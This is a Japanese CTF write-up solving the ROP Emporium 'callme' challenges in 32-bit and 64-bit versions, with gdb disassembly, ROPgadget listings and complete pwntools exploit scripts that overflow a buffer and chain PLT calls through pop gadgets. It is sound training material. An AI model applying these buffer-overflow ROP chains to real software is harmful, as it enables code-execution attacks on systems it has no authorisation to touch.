ROP Emporium
ROPの練習問題集
解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。
writeup link
callme32 writeup
32bitのELF実行ファイル。
とりあえず、実行してみる。
# file callme32
callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ceeb3a388347fd09bb234f44846f1480ac7abf64, not stripped
#
#
# ./callme32
callme by ROP Emporium
32bits
Hope you read the instructions...
> test
Exiting
#
nmコマンドで実行ファイルのシンボル情報を確認する。
nm
# nm callme32
0804a03c B __bss_start
U callme_one
U callme_three
U callme_two
0804a068 b completed.7200
0804a034 D __data_start
0804a034 W data_start
08048680 t deregister_tm_clones
080486f0 t __do_global_dtors_aux
08049efc d __do_global_dtors_aux_fini_array_entry
0804a038 D __dso_handle
08049f04 d _DYNAMIC
0804a03c D _edata
0804a06c B _end
U exit@@GLIBC_2.0
U fgets@@GLIBC_2.0
080488b4 T _fini
080488c8 R _fp_hw
08048710 t frame_dummy
08049ef8 d __frame_dummy_init_array_entry
08048a60 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
08048920 r __GNU_EH_FRAME_HDR
08048558 T _init
08049efc d __init_array_end
08049ef8 d __init_array_start
080488cc R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
08049f00 d __JCR_END__
08049f00 d __JCR_LIST__
w _Jv_RegisterClasses
080488b0 T __libc_csu_fini
08048850 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
0804873b T main
U memset@@GLIBC_2.0
U printf@@GLIBC_2.0
U puts@@GLIBC_2.0
080487b6 t pwnme
080486b0 t register_tm_clones
U setvbuf@@GLIBC_2.0
08048640 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
0804a03c D __TMC_END__
0804880c t usefulFunction
08048670 T __x86.get_pc_thunk.bx
#
callme_one / callme_three / callme_twoがある。
また、usefulFunctionというシンボルがある。
Important:
To dispose of the need for any RE we'll tell you the following:
You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme_ functions in the above order and with the correct arguments. Don't get distracted by the incorrect calls to these functions made in the binary, they're there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they're there to ensure the functions must be called in the correct order.
問題文にもあるようにこれらを以下の順に実施すれば、フラグが出力される。
- callme_one(1, 2, 3)
- callme_two(1, 2, 3)
- callme_three(1, 2, 3)
gdbでcallme32を解析していく。
canaryは今回も無効。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
main / pwnme関数の内容は他の問題と同様。
ret2win writeup
callme_one / callme_two / callme_threeの内容を確認する。
pdisコマンドを実行する前に、startコマンドでプログラムを実行する必要がある。
gdb-peda$ pdis callme_one
Dump of assembler code for function callme_one@plt:
0x080485c0 <+0>: jmp DWORD PTR ds:0x804a018
0x080485c6 <+6>: push 0x18
0x080485cb <+11>: jmp 0x8048580
End of assembler dump.
gdb-peda$
プログラム実行前にpdisコマンドを実行すると上記のような出力になる。
callme_one関数のアドレスはプログラム実行時に、紐づけられる。
gdb-peda$ pdis callme_one
Dump of assembler code for function callme_one:
0xf7fcb6d0 <+0>: push ebp
0xf7fcb6d1 <+1>: mov ebp,esp
0xf7fcb6d3 <+3>: push ebx
0xf7fcb6d4 <+4>: sub esp,0x14
0xf7fcb6d7 <+7>: call 0xf7fcb5a0 <__x86.get_pc_thunk.bx>
0xf7fcb6dc <+12>: add ebx,0x1924
0xf7fcb6e2 <+18>: cmp DWORD PTR [ebp+0x8],0x1
0xf7fcb6e6 <+22>: jne 0xf7fcb7ab <callme_one+219>
0xf7fcb6ec <+28>: cmp DWORD PTR [ebp+0xc],0x2
0xf7fcb6f0 <+32>: jne 0xf7fcb7ab <callme_one+219>
0xf7fcb6f6 <+38>: cmp DWORD PTR [ebp+0x10],0x3
0xf7fcb6fa <+42>: jne 0xf7fcb7ab <callme_one+219>
0xf7fcb700 <+48>: mov DWORD PTR [ebp-0xc],0x0
0xf7fcb707 <+55>: sub esp,0x8
0xf7fcb70a <+58>: lea eax,[ebx-0x163c]
0xf7fcb710 <+64>: push eax
0xf7fcb711 <+65>: lea eax,[ebx-0x163a]
0xf7fcb717 <+71>: push eax
0xf7fcb718 <+72>: call 0xf7fcb570 <fopen@plt>
0xf7fcb71d <+77>: add esp,0x10
0xf7fcb720 <+80>: mov DWORD PTR [ebp-0xc],eax
0xf7fcb723 <+83>: cmp DWORD PTR [ebp-0xc],0x0
0xf7fcb727 <+87>: jne 0xf7fcb745 <callme_one+117>
0xf7fcb729 <+89>: sub esp,0xc
0xf7fcb72c <+92>: lea eax,[ebx-0x1624]
0xf7fcb732 <+98>: push eax
0xf7fcb733 <+99>: call 0xf7fcb550 <puts@plt>
0xf7fcb738 <+104>: add esp,0x10
0xf7fcb73b <+107>: sub esp,0xc
0xf7fcb73e <+110>: push 0x1
0xf7fcb740 <+112>: call 0xf7fcb560 <exit@plt>
0xf7fcb745 <+117>: sub esp,0xc
0xf7fcb748 <+120>: push 0x21
0xf7fcb74a <+122>: call 0xf7fcb540 <malloc@plt>
0xf7fcb74f <+127>: add esp,0x10
0xf7fcb752 <+130>: mov DWORD PTR [ebx+0x34],eax
0xf7fcb758 <+136>: mov eax,DWORD PTR [ebx+0x34]
0xf7fcb75e <+142>: test eax,eax
0xf7fcb760 <+144>: jne 0xf7fcb77e <callme_one+174>
0xf7fcb762 <+146>: sub esp,0xc
0xf7fcb765 <+149>: lea eax,[ebx-0x1602]
0xf7fcb76b <+155>: push eax
0xf7fcb76c <+156>: call 0xf7fcb550 <puts@plt>
0xf7fcb771 <+161>: add esp,0x10
0xf7fcb774 <+164>: sub esp,0xc
0xf7fcb777 <+167>: push 0x1
0xf7fcb779 <+169>: call 0xf7fcb560 <exit@plt>
0xf7fcb77e <+174>: mov eax,DWORD PTR [ebx+0x34]
0xf7fcb784 <+180>: sub esp,0x4
0xf7fcb787 <+183>: push DWORD PTR [ebp-0xc]
0xf7fcb78a <+186>: push 0x21
0xf7fcb78c <+188>: push eax
0xf7fcb78d <+189>: call 0xf7fcb520 <fgets@plt>
0xf7fcb792 <+194>: add esp,0x10
0xf7fcb795 <+197>: mov DWORD PTR [ebx+0x34],eax
0xf7fcb79b <+203>: sub esp,0xc
0xf7fcb79e <+206>: push DWORD PTR [ebp-0xc]
0xf7fcb7a1 <+209>: call 0xf7fcb530 <fclose@plt>
0xf7fcb7a6 <+214>: add esp,0x10
0xf7fcb7a9 <+217>: jmp 0xf7fcb7c7 <callme_one+247>
0xf7fcb7ab <+219>: sub esp,0xc
0xf7fcb7ae <+222>: lea eax,[ebx-0x15e8]
0xf7fcb7b4 <+228>: push eax
0xf7fcb7b5 <+229>: call 0xf7fcb550 <puts@plt>
0xf7fcb7ba <+234>: add esp,0x10
0xf7fcb7bd <+237>: sub esp,0xc
0xf7fcb7c0 <+240>: push 0x1
0xf7fcb7c2 <+242>: call 0xf7fcb560 <exit@plt>
0xf7fcb7c7 <+247>: nop
0xf7fcb7c8 <+248>: mov ebx,DWORD PTR [ebp-0x4]
0xf7fcb7cb <+251>: leave
0xf7fcb7cc <+252>: ret
End of assembler dump.
gdb-peda$
<callme_one+18>から<callme_one+48>のあたりで引数が(1, 2, 3)になっているか確認している。
callme_two / callme_threeも同様。
usefulFunctionの内容を確認する。
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
0x0804880c <+0>: push ebp
0x0804880d <+1>: mov ebp,esp
0x0804880f <+3>: sub esp,0x8
0x08048812 <+6>: sub esp,0x4
0x08048815 <+9>: push 0x6
0x08048817 <+11>: push 0x5
0x08048819 <+13>: push 0x4
0x0804881b <+15>: call 0x80485b0 <callme_three@plt>
0x08048820 <+20>: add esp,0x10
0x08048823 <+23>: sub esp,0x4
0x08048826 <+26>: push 0x6
0x08048828 <+28>: push 0x5
0x0804882a <+30>: push 0x4
0x0804882c <+32>: call 0x8048620 <callme_two@plt>
0x08048831 <+37>: add esp,0x10
0x08048834 <+40>: sub esp,0x4
0x08048837 <+43>: push 0x6
0x08048839 <+45>: push 0x5
0x0804883b <+47>: push 0x4
0x0804883d <+49>: call 0x80485c0 <callme_one@plt>
0x08048842 <+54>: add esp,0x10
0x08048845 <+57>: sub esp,0xc
0x08048848 <+60>: push 0x1
0x0804884a <+62>: call 0x80485e0 <exit@plt>
End of assembler dump.
gdb-peda$
usefulFunctionではcallme_one / callme_two / callme_threeが呼び出されている。
しかし、引数が(4, 5, 6)となっているためフラグは出力されない。
問題文にある通り、1,2,3の引数をstackに積む必要がある。
また、callme_one / callme_two / callme_threeと順に実行する必要があるため、一つの関数の呼び出しが終わるたびにstackに積んでいた引数をpop命令によってレジスタに移動させなければならない。
stackに積む値は以下のようになる想定。
+--------------------+
| dummy |
+--------------------+
| callme_one |
+--------------------+
| pop × 3 |
+--------------------+
| 0x1 |
+--------------------+
| 0x2 |
+--------------------+
| 0x3 |
+--------------------+
| callme_two |
+--------------------+
| pop × 3 |
+--------------------+
| 0x1 |
+--------------------+
| 0x2 |
+--------------------+
| 0x3 |
+--------------------+
| callme_three |
+--------------------+
| pop × 3 |
+--------------------+
| 0x1 |
+--------------------+
| 0x2 |
+--------------------+
| 0x3 |
+--------------------+
pop × 3
では、stackの値を3回 popするROP gadgetのアドレスが入る。
そのようなROP gadgetを探す。
# ROPgadget --binary ./callme32
Gadgets information
============================================================
0x08048a39 : adc al, 0x41 ; ret
0x0804872e : adc al, 0x50 ; call edx
0x0804869d : adc al, 0x68 ; cmp al, 0xa0 ; add al, 8 ; call eax
0x080486d6 : adc byte ptr [eax + 0x68], dl ; cmp al, 0xa0 ; add al, 8 ; call edx
0x080486a7 : adc cl, cl ; ret
0x08048708 : add al, 8 ; add ecx, ecx ; ret
0x080486a1 : add al, 8 ; call eax
0x080486db : add al, 8 ; call edx
0x080488af : add bl, dh ; ret
0x08048574 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080487ac : add byte ptr [eax], al ; mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x080487ad : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret
0x08048705 : add eax, 0x804a068 ; add ecx, ecx ; ret
0x0804870a : add ecx, ecx ; ret
0x080486a5 : add esp, 0x10 ; leave ; ret
0x08048806 : add esp, 0x10 ; nop ; leave ; ret
0x080488a5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048576 : add esp, 8 ; pop ebx ; ret
0x08048a36 : and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x080486a3 : call eax
0x080486dd : call edx
0x080487b0 : cld ; leave ; lea esp, [ecx - 4] ; ret
0x080487b4 : cld ; ret
0x0804869f : cmp al, 0xa0 ; add al, 8 ; call eax
0x080486d9 : cmp al, 0xa0 ; add al, 8 ; call edx
0x080487af : dec ebp ; cld ; leave ; lea esp, [ecx - 4] ; ret
0x08048a34 : dec ebp ; push cs ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804872d : in al, dx ; adc al, 0x50 ; call edx
0x0804869c : in al, dx ; adc al, 0x68 ; cmp al, 0xa0 ; add al, 8 ; call eax
0x080486d5 : in al, dx ; adc byte ptr [eax + 0x68], dl ; cmp al, 0xa0 ; add al, 8 ; call edx
0x0804872b : in eax, 0x83 ; in al, dx ; adc al, 0x50 ; call edx
0x0804869a : in eax, 0x83 ; in al, dx ; adc al, 0x68 ; cmp al, 0xa0 ; add al, 8 ; call eax
0x08048805 : inc dword ptr [ebx - 0x366fef3c] ; ret
0x080488bf : inc ebx ; pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048a3a : inc ecx ; ret
0x08048a37 : inc edi ; push cs ; adc al, 0x41 ; ret
0x080488ae : jbe 0x80488b3 ; ret
0x08048727 : je 0x8048724 ; push ebp ; mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x080488a4 : jecxz 0x8048831 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x0804894f : jmp eax
0x080488a3 : jne 0x8048891 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048802 : lcall 0x10c4:0x83fffffd ; nop ; leave ; ret
0x080488ad : lea esi, [esi] ; ret
0x080487b2 : lea esp, [ecx - 4] ; ret
0x080487b1 : leave ; lea esp, [ecx - 4] ; ret
0x080486a8 : leave ; ret
0x08048577 : les ecx, ptr [eax] ; pop ebx ; ret
0x080488a6 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x080486a6 : les edx, ptr [eax] ; leave ; ret
0x08048807 : les edx, ptr [eax] ; nop ; leave ; ret
0x08048707 : mov al, byte ptr [0xc9010804] ; ret
0x08048704 : mov byte ptr [0x804a068], 1 ; leave ; ret
0x0804872a : mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x08048670 : mov ebx, dword ptr [esp] ; ret
0x080487ae : mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x08048572 : mov edx, 0x83000000 ; les ecx, ptr [eax] ; pop ebx ; ret
0x08048809 : nop ; leave ; ret
0x0804866f : nop ; mov ebx, dword ptr [esp] ; ret
0x0804866d : nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x0804866b : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x080488a7 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x080486a2 : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x080486dc : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048709 : or byte ptr [ecx], al ; leave ; ret
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x080488c0 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080487b3 : popal ; cld ; ret
0x08048706 : push 0x10804a0 ; leave ; ret
0x0804869e : push 0x804a03c ; call eax
0x080486d8 : push 0x804a03c ; call edx
0x08048a38 : push cs ; adc al, 0x41 ; ret
0x08048a35 : push cs ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x08048a32 : push cs ; xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804872f : push eax ; call edx
0x080486d7 : push eax ; push 0x804a03c ; call edx
0x08048729 : push ebp ; mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x08048562 : ret
0x080486be : ret 0xeac1
0x080486a4 : rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x080486de : rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048671 : sbb al, 0x24 ; ret
0x080486d4 : sub esp, 0x10 ; push eax ; push 0x804a03c ; call edx
0x0804869b : sub esp, 0x14 ; push 0x804a03c ; call eax
0x0804872c : sub esp, 0x14 ; push eax ; call edx
0x08048a33 : xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
Unique gadgets found: 89
#
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
を使用する。
pwntoolsを使用してpayloadを作成する。
from pwn import *
conn = process('./callme32')
one_addr=0x080485c0
two_addr=0x08048620
three_addr=0x080485b0
pop3_addr=0x080488a9
payload = 'A'*44
payload += p32(one_addr)
payload += p32(pop3_addr)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)
payload += p32(two_addr)
payload += p32(pop3_addr)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)
payload += p32(three_addr)
payload += p32(pop3_addr)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)
conn.sendline(payload)
conn.interactive()
# python ./callme32.py
[+] Starting local process './callme32': pid 4288
[*] Switching to interactive mode
callme by ROP Emporium
32bits
Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}[*] Got EOF while reading in interactive
$
callme writeup
callne32の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。
# file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=00e98079187631025159f040444e55bed3edcf1c, not stripped
#
#
#
# ./callme
callme by ROP Emporium
64bits
Hope you read the instructions...
> test
Exiting
#
# nm ./callme
0000000000602078 B __bss_start
U callme_one
U callme_three
U callme_two
00000000006020a8 b completed.7585
0000000000602068 D __data_start
0000000000602068 W data_start
00000000004018d0 t deregister_tm_clones
0000000000401950 t __do_global_dtors_aux
0000000000601df8 d __do_global_dtors_aux_fini_array_entry
0000000000602070 D __dso_handle
0000000000601e08 d _DYNAMIC
0000000000602078 D _edata
00000000006020b0 B _end
U exit@@GLIBC_2.2.5
U fgets@@GLIBC_2.2.5
0000000000401b34 T _fini
0000000000401970 t frame_dummy
0000000000601df0 d __frame_dummy_init_array_entry
0000000000401d10 r __FRAME_END__
0000000000602000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0000000000401b98 r __GNU_EH_FRAME_HDR
00000000004017c0 T _init
0000000000601df8 d __init_array_end
0000000000601df0 d __init_array_start
0000000000401b40 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
0000000000601e00 d __JCR_END__
0000000000601e00 d __JCR_LIST__
w _Jv_RegisterClasses
0000000000401b30 T __libc_csu_fini
0000000000401ac0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.2.5
0000000000401996 T main
U memset@@GLIBC_2.2.5
U printf@@GLIBC_2.2.5
U puts@@GLIBC_2.2.5
0000000000401a05 t pwnme
0000000000401910 t register_tm_clones
U setvbuf@@GLIBC_2.2.5
00000000004018a0 T _start
00000000006020a0 B stderr@@GLIBC_2.2.5
0000000000602090 B stdin@@GLIBC_2.2.5
0000000000602080 B stdout@@GLIBC_2.2.5
0000000000602078 D __TMC_END__
0000000000401a57 t usefulFunction
0000000000401ab0 T usefulGadgets
#
callme32と同様にcallme_one / callme_three / callme_twoがある。
また、usefulFunction / usefulGadgetsというシンボルがある。
callme32と同様に以下の順に実施すれば、フラグが出力される。
- callme_one(1, 2, 3)
- callme_two(1, 2, 3)
- callme_three(1, 2, 3)
gdbでcallmeを解析していく。
canaryは今回も無効。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
main / pwnme関数の内容は他の問題と同様。
callme_one / callme_two / callme_threeの内容を確認する。
pdisコマンドを実行する前に、startコマンドでプログラムを実行する必要がある。
gdb-peda$ pdis callme_one
Dump of assembler code for function callme_one@plt:
0x0000000000401850 <+0>: jmp QWORD PTR [rip+0x2007f2] # 0x602048 <callme_one@got.plt>
0x0000000000401856 <+6>: push 0x6
0x000000000040185b <+11>: jmp 0x4017e0
End of assembler dump.
gdb-peda$
プログラム実行前にpdisコマンドを実行すると上記のような出力になる。
callme_one関数のアドレスはプログラム実行時に、紐づけられる。
gdb-peda$ pdis callme_one
Dump of assembler code for function callme_one:
0x00007ffff7dcd8f0 <+0>: push rbp
0x00007ffff7dcd8f1 <+1>: mov rbp,rsp
0x00007ffff7dcd8f4 <+4>: sub rsp,0x20
0x00007ffff7dcd8f8 <+8>: mov DWORD PTR [rbp-0x14],edi
0x00007ffff7dcd8fb <+11>: mov DWORD PTR [rbp-0x18],esi
0x00007ffff7dcd8fe <+14>: mov DWORD PTR [rbp-0x1c],edx
0x00007ffff7dcd901 <+17>: cmp DWORD PTR [rbp-0x14],0x1
0x00007ffff7dcd905 <+21>: jne 0x7ffff7dcd9bb <callme_one+203>
0x00007ffff7dcd90b <+27>: cmp DWORD PTR [rbp-0x18],0x2
0x00007ffff7dcd90f <+31>: jne 0x7ffff7dcd9bb <callme_one+203>
0x00007ffff7dcd915 <+37>: cmp DWORD PTR [rbp-0x1c],0x3
0x00007ffff7dcd919 <+41>: jne 0x7ffff7dcd9bb <callme_one+203>
0x00007ffff7dcd91f <+47>: mov QWORD PTR [rbp-0x8],0x0
0x00007ffff7dcd927 <+55>: lea rsi,[rip+0x282] # 0x7ffff7dcdbb0
0x00007ffff7dcd92e <+62>: lea rdi,[rip+0x27d] # 0x7ffff7dcdbb2
0x00007ffff7dcd935 <+69>: call 0x7ffff7dcd7c0 <fopen@plt>
0x00007ffff7dcd93a <+74>: mov QWORD PTR [rbp-0x8],rax
0x00007ffff7dcd93e <+78>: cmp QWORD PTR [rbp-0x8],0x0
0x00007ffff7dcd943 <+83>: jne 0x7ffff7dcd95b <callme_one+107>
0x00007ffff7dcd945 <+85>: lea rdi,[rip+0x27c] # 0x7ffff7dcdbc8
0x00007ffff7dcd94c <+92>: call 0x7ffff7dcd760 <puts@plt>
0x00007ffff7dcd951 <+97>: mov edi,0x1
0x00007ffff7dcd956 <+102>: call 0x7ffff7dcd7d0 <exit@plt>
0x00007ffff7dcd95b <+107>: mov edi,0x21
0x00007ffff7dcd960 <+112>: call 0x7ffff7dcd7b0 <malloc@plt>
0x00007ffff7dcd965 <+117>: mov QWORD PTR [rip+0x2006fc],rax # 0x7ffff7fce068 <g_buf>
0x00007ffff7dcd96c <+124>: mov rax,QWORD PTR [rip+0x2006f5] # 0x7ffff7fce068 <g_buf>
0x00007ffff7dcd973 <+131>: test rax,rax
0x00007ffff7dcd976 <+134>: jne 0x7ffff7dcd98e <callme_one+158>
0x00007ffff7dcd978 <+136>: lea rdi,[rip+0x26b] # 0x7ffff7dcdbea
0x00007ffff7dcd97f <+143>: call 0x7ffff7dcd760 <puts@plt>
0x00007ffff7dcd984 <+148>: mov edi,0x1
0x00007ffff7dcd989 <+153>: call 0x7ffff7dcd7d0 <exit@plt>
0x00007ffff7dcd98e <+158>: mov rax,QWORD PTR [rip+0x2006d3] # 0x7ffff7fce068 <g_buf>
0x00007ffff7dcd995 <+165>: mov rdx,QWORD PTR [rbp-0x8]
0x00007ffff7dcd999 <+169>: mov esi,0x21
0x00007ffff7dcd99e <+174>: mov rdi,rax
0x00007ffff7dcd9a1 <+177>: call 0x7ffff7dcd7a0 <fgets@plt>
0x00007ffff7dcd9a6 <+182>: mov QWORD PTR [rip+0x2006bb],rax # 0x7ffff7fce068 <g_buf>
0x00007ffff7dcd9ad <+189>: mov rax,QWORD PTR [rbp-0x8]
0x00007ffff7dcd9b1 <+193>: mov rdi,rax
0x00007ffff7dcd9b4 <+196>: call 0x7ffff7dcd770 <fclose@plt>
0x00007ffff7dcd9b9 <+201>: jmp 0x7ffff7dcd9d1 <callme_one+225>
0x00007ffff7dcd9bb <+203>: lea rdi,[rip+0x242] # 0x7ffff7dcdc04
0x00007ffff7dcd9c2 <+210>: call 0x7ffff7dcd760 <puts@plt>
0x00007ffff7dcd9c7 <+215>: mov edi,0x1
0x00007ffff7dcd9cc <+220>: call 0x7ffff7dcd7d0 <exit@plt>
0x00007ffff7dcd9d1 <+225>: nop
0x00007ffff7dcd9d2 <+226>: leave
0x00007ffff7dcd9d3 <+227>: ret
End of assembler dump.
gdb-peda$
<callme_one+17>から<callme_one+41>のあたりで引数が(1, 2, 3)になっているか確認している。
callme_two / callme_threeも同様。
usefulFunctionの内容を確認する。
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000401a57 <+0>: push rbp
0x0000000000401a58 <+1>: mov rbp,rsp
0x0000000000401a5b <+4>: mov edx,0x6
0x0000000000401a60 <+9>: mov esi,0x5
0x0000000000401a65 <+14>: mov edi,0x4
0x0000000000401a6a <+19>: call 0x401810 <callme_three@plt>
0x0000000000401a6f <+24>: mov edx,0x6
0x0000000000401a74 <+29>: mov esi,0x5
0x0000000000401a79 <+34>: mov edi,0x4
0x0000000000401a7e <+39>: call 0x401870 <callme_two@plt>
0x0000000000401a83 <+44>: mov edx,0x6
0x0000000000401a88 <+49>: mov esi,0x5
0x0000000000401a8d <+54>: mov edi,0x4
0x0000000000401a92 <+59>: call 0x401850 <callme_one@plt>
0x0000000000401a97 <+64>: mov edi,0x1
0x0000000000401a9c <+69>: call 0x401880 <exit@plt>
End of assembler dump.
gdb-peda$
usefulFunctionではcallme_one / callme_two / callme_threeが呼び出されている。
x64では、x86と違って引数をレジスタに格納する必要がある。
第一引数:rdi、第二引数:rsi、第三引数:rdx。
usefulFunction関数ではmov命令を使って引数をレジスタに格納している。
しかし、引数が(4, 5, 6)となっているためフラグは出力されない。
usefulGadetsを確認する。
gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000401ab0 <+0>: pop rdi
0x0000000000401ab1 <+1>: pop rsi
0x0000000000401ab2 <+2>: pop rdx
0x0000000000401ab3 <+3>: ret
0x0000000000401ab4 <+4>: nop WORD PTR cs:[rax+rax*1+0x0]
0x0000000000401abe <+14>: xchg ax,ax
End of assembler dump.
gdb-peda$
rdi, rsi, rdxの順にpop命令を実行した後に、ret命令が実行されている。
これらを使用すれば、引数を指定のレジスタに格納できる。
引数を各レジスタに格納した後にcallme_one / callme_two / callme_threeを実行するようにstackにROPを積む。
stackに積む値は以下のようになる想定。
+--------------------+
| dummy |
+--------------------+
| usefulGadgets |
+--------------------+
| 0x1 |
+--------------------+
| 0x2 |
+--------------------+
| 0x3 |
+--------------------+
| callme_one |
+--------------------+
| usefulGadgets |
+--------------------+
| 0x1 |
+--------------------+
| 0x2 |
+--------------------+
| 0x3 |
+--------------------+
| callme_two |
+--------------------+
| usefulGadgets |
+--------------------+
| 0x1 |
+--------------------+
| 0x2 |
+--------------------+
| 0x3 |
+--------------------+
| callme_three |
+--------------------+
pwntoolsを使用してpayloadを作成する。
from pwn import *
conn = process('./callme')
one_addr=0x401850
two_addr=0x401870
three_addr=0x401810
pop3_addr=0x401ab0
payload = 'A'*40
payload += p64(pop3_addr)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(one_addr)
payload += p64(pop3_addr)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(two_addr)
payload += p64(pop3_addr)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(three_addr)
conn.sendline(payload)
conn.interactive()
# python ./callme.py
[+] Starting local process './callme': pid 14457
[*] Paused (press any to continue)
[*] Switching to interactive mode
callme by ROP Emporium
64bits
Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}[*] Process './callme' stopped with exit code 0 (pid 14457)
[*] Got EOF while reading in interactive
$